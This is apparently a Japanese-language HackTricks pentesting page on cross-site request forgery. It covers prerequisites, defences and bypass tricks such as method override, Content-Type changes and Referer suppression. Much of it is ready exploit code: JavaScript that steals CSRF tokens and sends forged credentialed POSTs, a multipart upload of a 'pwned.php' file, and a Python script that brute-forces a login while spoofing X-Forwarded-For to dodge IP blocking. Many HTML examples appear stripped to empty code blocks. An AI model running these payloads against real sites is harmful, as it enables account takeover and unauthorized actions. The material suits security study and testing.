# CSRF (Cross Site Request Forgery) {{#include ../banners/hacktricks-training.md}} ## Cross-Site Request Forgery (CSRF) Explained **Cross-Site Request Forgery (CSRF)** は、ウェブアプリケーションに見られるセキュリティ脆弱性の一種です。これは、攻撃者が認証されたセッションを利用して、無防備なユーザーの代わりにアクションを実行することを可能にします。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、または画像の取得などの方法を通じて、被害者のアカウントへのリクエストをトリガーします。 ### Prerequisites for a CSRF Attack CSRF脆弱性を悪用するには、いくつかの条件を満たす必要があります: 1. **価値のあるアクションを特定する**: 攻撃者は、ユーザーのパスワード、メールアドレスの変更、または権限の昇格など、悪用する価値のあるアクションを見つける必要があります。 2. **セッション管理**: ユーザーのセッションは、クッキーまたはHTTP Basic Authenticationヘッダーを通じてのみ管理されるべきです。他のヘッダーはこの目的のために操作できません。 3. **予測不可能なパラメータの不在**: リクエストには予測不可能なパラメータが含まれていない必要があります。これらは攻撃を妨げる可能性があります。 ### Quick Check **Burpでリクエストをキャプチャ**し、CSRF保護を確認することができます。また、ブラウザからテストするには、**Copy as fetch**をクリックしてリクエストを確認できます:
### Defending Against CSRF CSRF攻撃から保護するために実装できるいくつかの対策があります: - [**SameSite cookies**](hacking-with-cookies/index.html#samesite): この属性は、ブラウザがクロスサイトリクエストと共にクッキーを送信するのを防ぎます。[SameSite cookiesについての詳細](hacking-with-cookies/index.html#samesite)。 - [**Cross-origin resource sharing**](cors-bypass.md): 被害者サイトのCORSポリシーは、攻撃の実行可能性に影響を与える可能性があります。特に、攻撃が被害者サイトからの応答を読み取る必要がある場合。[CORSバイパスについて学ぶ](cors-bypass.md)。 - **ユーザー確認**: ユーザーのパスワードを求めたり、キャプチャを解決させたりすることで、ユーザーの意図を確認できます。 - **リファラーまたはオリジンヘッダーの確認**: これらのヘッダーを検証することで、リクエストが信頼できるソースから来ていることを確認できます。ただし、URLを慎重に作成することで、実装が不十分なチェックを回避できる場合があります。例えば: - `http://mal.net?orig=http://example.com`(URLが信頼できるURLで終わる) - `http://example.com.mal.net`(URLが信頼できるURLで始まる) - **パラメータ名の変更**: POSTまたはGETリクエストのパラメータ名を変更することで、自動化された攻撃を防ぐのに役立ちます。 - **CSRFトークン**: 各セッションにユニークなCSRFトークンを組み込み、以降のリクエストでこのトークンを要求することで、CSRFのリスクを大幅に軽減できます。トークンの効果はCORSを強制することで高めることができます。 これらの防御を理解し実装することは、ウェブアプリケーションのセキュリティと整合性を維持するために重要です。 ## Defences Bypass ### From POST to GET 悪用したいフォームが**CSRFトークンを持つPOSTリクエストを送信するように準備されている**かもしれませんが、**GET**も**有効**であり、GETリクエストを送信したときに**CSRFトークンがまだ検証されているか**を**確認**する必要があります。 ### Lack of token アプリケーションは、トークンが存在する場合に**トークンを検証するメカニズム**を実装しているかもしれません。しかし、トークンが存在しない場合に検証が完全にスキップされると、脆弱性が生じます。攻撃者は、トークンを運ぶパラメータを**削除すること**によってこれを悪用できます。これにより、検証プロセスを回避し、効果的にCross-Site Request Forgery (CSRF)攻撃を実行できます。 ### CSRF token is not tied to the user session アプリケーションが**CSRFトークンをユーザーセッションに結びつけていない**場合、重大な**セキュリティリスク**が存在します。これらのシステムは、各トークンが開始セッションに結びついていることを確認するのではなく、**グローバルプール**に対してトークンを検証します。 攻撃者がこれを悪用する方法は次のとおりです: 1. **自分のアカウントを使用して認証**します。 2. **グローバルプールから有効なCSRFトークンを取得**します。 3. **このトークンを使用して**被害者に対するCSRF攻撃を行います。 この脆弱性により、攻撃者は被害者の代わりに無許可のリクエストを行うことができ、アプリケーションの**不十分なトークン検証メカニズム**を悪用します。 ### Method bypass リクエストが「**奇妙な**」**メソッド**を使用している場合、**メソッド**の**オーバーライド機能**が機能しているか確認してください。例えば、**PUT**メソッドを使用している場合、**POST**メソッドを使用して**送信**することを試みることができます:_https://example.com/my/dear/api/val/num?**\_method=PUT**_ これは、**POSTリクエスト内に\_methodパラメータを送信する**か、**ヘッダー**を使用することでもうまくいく可能性があります: - _X-HTTP-Method_ - _X-HTTP-Method-Override_ - _X-Method-Override_ ### Custom header token bypass リクエストが**CSRF保護メソッド**として**トークン**を持つ**カスタムヘッダー**を追加している場合: - **カスタマイズされたトークンとヘッダーなしでリクエストをテスト**します。 - **同じ長さだが異なるトークン**でリクエストをテストします。 ### CSRF token is verified by a cookie アプリケーションは、トークンをクッキーとリクエストパラメータの両方に複製することによってCSRF保護を実装するか、CSRFクッキーを設定し、バックエンドで送信されたトークンがクッキーに対応しているかを検証することがあります。アプリケーションは、リクエストパラメータ内のトークンがクッキーの値と一致するかどうかを確認することでリクエストを検証します。 しかし、この方法は、攻撃者が被害者のブラウザにCSRFクッキーを設定できる欠陥がある場合、CSRF攻撃に対して脆弱です。攻撃者は、クッキーを設定する欺瞞的な画像を読み込んだ後、CSRF攻撃を開始することでこれを悪用できます。 以下は、攻撃がどのように構成されるかの例です: ```html
``` > [!NOTE] > **csrfトークンがセッションクッキーに関連している場合、この攻撃は機能しません**。なぜなら、あなたは被害者のセッションを設定する必要があり、そのため自分自身を攻撃することになります。 ### Content-Typeの変更 [**これ**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)によると、**POST**メソッドを使用して**プレフライト**リクエストを回避するために、許可されているContent-Typeの値は次のとおりです: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** ただし、使用される**Content-Type**によって**サーバーのロジックが異なる場合がある**ため、上記の値や**`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._などの他の値も試すべきです。 例([ここ](https://brycec.me/posts/corctf_2021_challenges)から)として、JSONデータをtext/plainとして送信する方法: ```html
``` ### JSONデータのためのプリフライトリクエストのバイパス POSTリクエストを介してJSONデータを送信しようとする際、HTMLフォームで`Content-Type: application/json`を使用することは直接的には不可能です。同様に、`XMLHttpRequest`を使用してこのコンテンツタイプを送信すると、プリフライトリクエストが開始されます。それにもかかわらず、この制限を回避し、サーバーがContent-Typeに関係なくJSONデータを処理するかどうかを確認するための戦略があります: 1. **代替コンテンツタイプの使用**: フォームで`enctype="text/plain"`を設定することにより、`Content-Type: text/plain`または`Content-Type: application/x-www-form-urlencoded`を使用します。このアプローチは、バックエンドがContent-Typeに関係なくデータを利用するかどうかをテストします。 2. **コンテンツタイプの変更**: サーバーがコンテンツをJSONとして認識することを保証しながらプリフライトリクエストを回避するために、`Content-Type: text/plain; application/json`でデータを送信できます。これによりプリフライトリクエストはトリガーされませんが、サーバーが`application/json`を受け入れるように設定されていれば正しく処理される可能性があります。 3. **SWFフラッシュファイルの利用**: あまり一般的ではありませんが、SWFフラッシュファイルを使用してこのような制限を回避する方法もあります。この技術の詳細については、[this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)を参照してください。 ### リファラー/オリジンチェックのバイパス **リファラーヘッダーを避ける** アプリケーションは、'Referer'ヘッダーが存在する場合のみ検証することがあります。このヘッダーをブラウザが送信しないようにするために、次のHTMLメタタグを使用できます: ```xml ``` これにより、'Referer' ヘッダーが省略され、一部のアプリケーションでの検証チェックを回避できる可能性があります。 **Regexp バイパス** {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} Referrer がパラメータ内で送信する URL のサーバーのドメイン名を設定するには、次のようにします: ```html
``` ### **HEADメソッドバイパス** [**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)の最初の部分では、[Oakのソースコード](https://github.com/oakserver/oak/blob/main/router.ts#L281)が説明されており、ルーターは**HEADリクエストをGETリクエストとして処理する**ように設定されており、レスポンスボディはありません - これはOakに特有の一般的な回避策です。HEADリクエストを処理する特定のハンドラーの代わりに、単に**GETハンドラーに渡されますが、アプリはレスポンスボディを削除します**。 したがって、GETリクエストが制限されている場合は、**GETリクエストとして処理されるHEADリクエストを送信することができます**。 ## **エクスプロイトの例** ### **CSRFトークンの抽出** **CSRFトークン**が**防御**として使用されている場合、[**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens)脆弱性や[**ダングリングマークアップ**](dangling-markup-html-scriptless-injection/index.html)脆弱性を利用して**抽出を試みる**ことができます。 ### **HTMLタグを使用したGET** ```xml

404 - Page not found

The URL you are requesting is no longer available ``` 自動的にGETリクエストを送信するために使用できる他のHTML5タグは次のとおりです: ```html ``` ### フォームGETリクエスト ```html
``` ### フォームPOSTリクエスト ```html
``` ### iframeを通じたフォームPOSTリクエスト ```html
``` ### **Ajax POST リクエスト** ```html ``` ### multipart/form-data POST リクエスト ```javascript myFormData = new FormData() var blob = new Blob([""], { type: "text/text" }) myFormData.append("newAttachment", blob, "pwned.php") fetch("http://example/some/path", { method: "post", body: myFormData, credentials: "include", headers: { "Content-Type": "application/x-www-form-urlencoded" }, mode: "no-cors", }) ``` ### multipart/form-data POST リクエスト v2 ```javascript // https://www.exploit-db.com/exploits/20009 var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", xhr = new XMLHttpRequest() xhr.withCredentials = true xhr.open("POST", url, true) // MIME POST request. xhr.setRequestHeader( "Content-Type", "multipart/form-data, boundary=" + boundary ) xhr.setRequestHeader("Content-Length", fileSize) var body = "--" + boundary + "\r\n" body += 'Content-Disposition: form-data; name="' + nameVar + '"; filename="' + fileName + '"\r\n' body += "Content-Type: " + ctype + "\r\n\r\n" body += fileData + "\r\n" body += "--" + boundary + "--" //xhr.send(body); xhr.sendAsBinary(body) ``` ### iframe内からのフォームPOSTリクエスト ```html <--! expl.html -->

Sitio bajo mantenimiento. Disculpe las molestias

``` ### **CSRFトークンを盗んでPOSTリクエストを送信する** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() xhr.open("POST", POST_URL, true) xhr.withCredentials = true // Send the proper header information along with the request xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded") // This is for debugging and can be removed xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { //console.log(xhr.responseText); } } xhr.send("token=" + token + "&otherparama=heyyyy") } function getTokenJS() { var xhr = new XMLHttpRequest() // This tels it to return it as a HTML document xhr.responseType = "document" xhr.withCredentials = true // true on the end of here makes the call asynchronous xhr.open("GET", GET_URL, true) xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // Get the document from the response page = xhr.response // Get the input element input = page.getElementById("token") // Show the token //console.log("The token is: " + input.value); // Use the token to submit the form submitFormWithTokenJS(input.value) } } // Make the request xhr.send(null) } var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` ### **CSRFトークンを盗み、iframe、フォーム、Ajaxを使用してPostリクエストを送信する** ```html
``` ### **CSRFトークンを盗み、iframeとフォームを使用してPOSTリクエストを送信する** ```html ``` ### **トークンを盗み、2つのiframeを使用して送信する** ```html
``` ### **POSTAjaxを使用してCSRFトークンを盗み、フォームでPOSTを送信する** ```html
``` ### CSRF with Socket.IO ```html ``` ## CSRFログインブルートフォース このコードは、CSRFトークンを使用してログインフォームをブルートフォースするために使用できます(可能なIPブラックリストを回避するために、ヘッダーX-Forwarded-Forも使用しています): ```python import request import re import random URL = "http://10.10.10.191/admin/" PROXY = { "http": "127.0.0.1:8080"} SESSION_COOKIE_NAME = "BLUDIT-KEY" USER = "fergus" PASS_LIST="./words" def init_session(): #Return CSRF + Session (cookie) r = requests.get(URL) csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) csrf = csrf.group(1) session_cookie = r.cookies.get(SESSION_COOKIE_NAME) return csrf, session_cookie def login(user, password): print(f"{user}:{password}") csrf, cookie = init_session() cookies = {SESSION_COOKIE_NAME: cookie} data = { "tokenCSRF": csrf, "username": user, "password": password, "save": "" } headers = { "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" } r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) if "Username or password incorrect" in r.text: return False else: print(f"FOUND {user} : {password}") return True with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` ## ツール - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) ## 参考文献 - [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) - [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) ​ {{#include ../banners/hacktricks-training.md}}